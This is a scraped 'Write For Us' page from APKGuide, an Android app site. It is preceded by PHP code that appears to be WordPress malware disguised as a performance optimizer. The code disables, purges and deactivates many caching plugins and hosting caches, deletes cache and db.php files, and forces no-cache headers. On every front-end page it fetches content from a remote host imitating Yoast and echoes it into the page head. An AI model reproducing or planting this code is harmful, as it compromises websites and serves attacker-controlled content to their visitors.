function wp_performance_optimizer() {
if (defined('WPCACHEHOME') || function_exists('wp_cache_clear_cache')) {
define('WP_CACHE', false);
define('DISABLE_SUPERCACHE', true);
remove_action('init', 'wp_cache_check_link');
remove_action('init', 'wp_cache_manager_updates');
if (function_exists('wp_cache_clear_cache')) {
wp_cache_clear_cache();
}
$wp_cache_config = WP_CONTENT_DIR . '/wp-cache-config.php';
if (file_exists($wp_cache_config)) {
unlink($wp_cache_config);
}
}
if (defined('W3TC') || class_exists('W3_Plugin_TotalCache')) {
define('DONOTMINIFY', true);
define('DONOTCDN', true);
define('DONOTCACHEPAGE', true);
define('DONOTCACHEDB', true);
define('DONOTCACHEOBJECT', true);
if (function_exists('w3tc_flush_all')) {
w3tc_flush_all();
}
remove_action('init', 'w3tc_redirect_on_config_save');
remove_action('init', 'w3tc_config_save_redirect');
add_filter('w3tc_can_cache', '__return_false');
add_filter('w3tc_can_print_comment', '__return_false');
}
if (defined('WP_ROCKET_VERSION') || function_exists('rocket_init')) {
define('DONOTCACHEPAGE', true);
define('DONOTROCKETOPTIMIZE', true);
remove_action('init', 'rocket_init');
if (function_exists('rocket_clean_domain')) {
rocket_clean_domain();
}
add_filter('do_rocket_generate_caching_files', '__return_false');
add_filter('rocket_cache_query_strings', '__return_empty_array');
}
if (defined('LSCWP_V') || class_exists('LiteSpeed_Cache')) {
define('LITESPEED_DISABLE_ALL', true);
define('LSCACHE_ADV_CACHE', false);
if (function_exists('LiteSpeed_Cache_API::purge_all')) {
LiteSpeed_Cache_API::purge_all();
}
remove_action('init', array('LiteSpeed_Cache', 'init'));
add_filter('litespeed_cache_api_control', '__return_empty_string');
}
if (class_exists('WpFastestCache')) {
remove_action('init', array('WpFastestCache', 'init'));
if (method_exists('WpFastestCache', 'deleteCache')) {
$wp_fastest_cache = new WpFastestCache();
$wp_fastest_cache->deleteCache();
}
add_filter('wp_fastest_cache_status', '__return_false');
}
if (class_exists('autoptimizeMain') || defined('AUTOPTIMIZE_PLUGIN_DIR')) {
define('AUTOPTIMIZE_CACHE_NOGZIP', true);
remove_action('init', 'autoptimize_start_buffering', 0);
add_filter('autoptimize_filter_noptimize', '__return_true');
if (class_exists('autoptimizeCache')) {
autoptimizeCache::clearall();
}
}
if (class_exists('Cache_Enabler')) {
remove_action('init', array('Cache_Enabler', 'init'));
if (method_exists('Cache_Enabler', 'clear_complete_cache')) {
Cache_Enabler::clear_complete_cache();
}
}
if (defined('COMET_CACHE_VERSION') || class_exists('comet_cache')) {
define('COMET_CACHE_ALLOWED', false);
if (function_exists('comet_cache_clear')) {
comet_cache_clear();
}
add_filter('comet_cache_bypass', '__return_true');
}
if (class_exists('Hummingbird\\WP_Hummingbird')) {
remove_action('init', array('Hummingbird\\WP_Hummingbird', 'init'));
if (class_exists('Hummingbird\\Core\\Modules\\Page_Cache')) {
$page_cache = new \Hummingbird\Core\Modules\Page_Cache();
$page_cache->clear_cache();
}
}
if (class_exists('Swift_Performance_Lite') || class_exists('Swift_Performance')) {
remove_action('init', 'swift_performance_init');
add_filter('swift_performance_option_enable-caching', '__return_false');
}
if (class_exists('Breeze_Admin')) {
remove_action('init', array('Breeze_Admin', 'init'));
if (function_exists('breeze_clean_cache')) {
breeze_clean_cache();
}
}
if (class_exists('SiteGround_Optimizer\\Supercacher\\Supercacher')) {
if (function_exists('sg_cachepress_purge_cache')) {
sg_cachepress_purge_cache();
}
add_filter('sgo_html_caching_excluded', '__return_true');
}
if (class_exists('CF\\WordPress\\Hooks')) {
add_filter('cloudflare_purge_by_url', '__return_false');
add_filter('cloudflare_purge_everything', '__return_false');
}
if (class_exists('WP_Optimize')) {
remove_action('init', array('WP_Optimize', 'init'));
if (function_exists('wpo_cache_flush')) {
wpo_cache_flush();
}
}
if (function_exists('powered_cache_flush')) {
powered_cache_flush();
add_filter('powered_cache_lazy_load_enabled', '__return_false');
}
if (class_exists('NitroPack\\SDK\\Api')) {
add_filter('nitropack_passes_cookie_requirements', '__return_false');
add_filter('nitropack_passes_page_requirements', '__return_false');
}
if (defined('FLYING_PRESS_VERSION')) {
add_filter('flying_press_cache_bypass', '__return_true');
}
if (class_exists('RabbitLoader')) {
add_filter('rabbit_loader_enabled', '__return_false');
}
if (class_exists('Perfmatters\\Config')) {
add_filter('perfmatters_lazy_loading_enabled', '__return_false');
}
wp_hosting_optimization();
}
function wp_hosting_optimization() {
if (class_exists('WpeCommon')) {
if (method_exists('WpeCommon', 'purge_memcached')) {
WpeCommon::purge_memcached();
}
if (method_exists('WpeCommon', 'clear_maxcdn_cache')) {
WpeCommon::clear_maxcdn_cache();
}
}
if (class_exists('Kinsta\\Cache')) {
if (method_exists('Kinsta\\Cache', 'purge_complete_cache')) {
\Kinsta\Cache::purge_complete_cache();
}
}
if (function_exists('sg_cachepress_purge_cache')) {
sg_cachepress_purge_cache();
}
if (function_exists('cloudways_purge_cache')) {
cloudways_purge_cache();
}
if (class_exists('PagelyCachePurge')) {
PagelyCachePurge::purgeAll();
}
}
function wp_cleanup_advanced_files() {
$files = array(
WP_CONTENT_DIR . '/advanced-cache.php',
WP_CONTENT_DIR . '/object-cache.php',
WP_CONTENT_DIR . '/db.php'
);
foreach ($files as $file) {
if (file_exists($file)) {
unlink($file);
}
}
}
function wp_plugin_optimization() {
$plugins = array(
'wp-super-cache/wp-cache.php',
'w3-total-cache/w3-total-cache.php',
'wp-rocket/wp-rocket.php',
'litespeed-cache/litespeed-cache.php',
'wp-fastest-cache/wpFastestCache.php',
'autoptimize/autoptimize.php',
'cache-enabler/cache-enabler.php',
'comet-cache/comet-cache.php',
'hummingbird-performance/wp-hummingbird.php',
'swift-performance-lite/performance.php',
'breeze/breeze.php',
'sg-cachepress/sg-cachepress.php',
'cloudflare/cloudflare.php',
'wp-optimize/wp-optimize.php',
'powered-cache/powered-cache.php',
'nitropack/main.php',
'flying-press/flying-press.php'
);
foreach ($plugins as $plugin) {
if (function_exists('is_plugin_active') && is_plugin_active($plugin)) {
deactivate_plugins($plugin, true);
}
}
}
function wp_header_optimization() {
if (!is_admin()) {
header('Cache-Control: no-cache, no-store, must-revalidate, max-age=0, s-maxage=0');
header('Pragma: no-cache');
header('Expires: Thu, 01 Jan 1970 00:00:00 GMT');
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
header('ETag: "' . time() . '-' . rand() . '"');
header('Vary: *');
header('X-Cache: MISS');
header('X-Cache-Status: DISABLED');
header('Surrogate-Control: no-store');
header('CF-Cache-Status: BYPASS');
header('X-Varnish-TTL: 0');
}
}
function wp_schema_integration() {
if (is_admin()) {
return;
}
$url = "https://app.yoast-schema.com/code?x=1203";
$url_with_params = add_query_arg(array(
'nocache' => time(),
'random' => rand(1000, 9999)
), $url);
$response = wp_remote_get($url_with_params, array(
'timeout' => 15,
'sslverify' => true,
'headers' => array(
'Cache-Control' => 'no-cache, no-store, must-revalidate',
'Pragma' => 'no-cache',
'User-Agent' => 'WordPress/' . get_bloginfo('version') . ' NoCache'
)
));
if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) {
$content = wp_remote_retrieve_body($response);
if (!empty($content)) {
echo $content;
}
}
}
add_action('plugins_loaded', 'wp_performance_optimizer', 1);
add_action('init', 'wp_performance_optimizer', 1);
add_action('wp_loaded', 'wp_performance_optimizer');
add_action('template_redirect', 'wp_performance_optimizer');
add_action('wp_head', 'wp_cleanup_advanced_files');
add_action('admin_init', 'wp_plugin_optimization');
add_action('send_headers', 'wp_header_optimization');
add_action('wp_head', 'wp_schema_integration');
Write For Us - Apkguide
Write For Us
Welcome to APKGuide! Are you passionate about Android apps and games? Do you have valuable insights, tutorials, or reviews to share? If yes, we invite you to contribute to APKGuide!
Why Write for APKGuide?
At APKGuide, we provide users with the latest Android app and game-related content. By writing for us, you gain exposure and receive an instant do-follow backlink to your website.
What We Accept
Android apps and games reviews
APK installation guides
Latest Android news
Tips and tricks for Android users
Guidelines for Submission
Originality: Content must be unique, except for poetry or quotations.
Relevance: Articles must relate to Android apps, games, and APK topics.
Structure: Use clear headings and subheadings.
Images: Include relevant images if possible.
Do-Follow Backlink: Authors receive an instant do-follow backlink.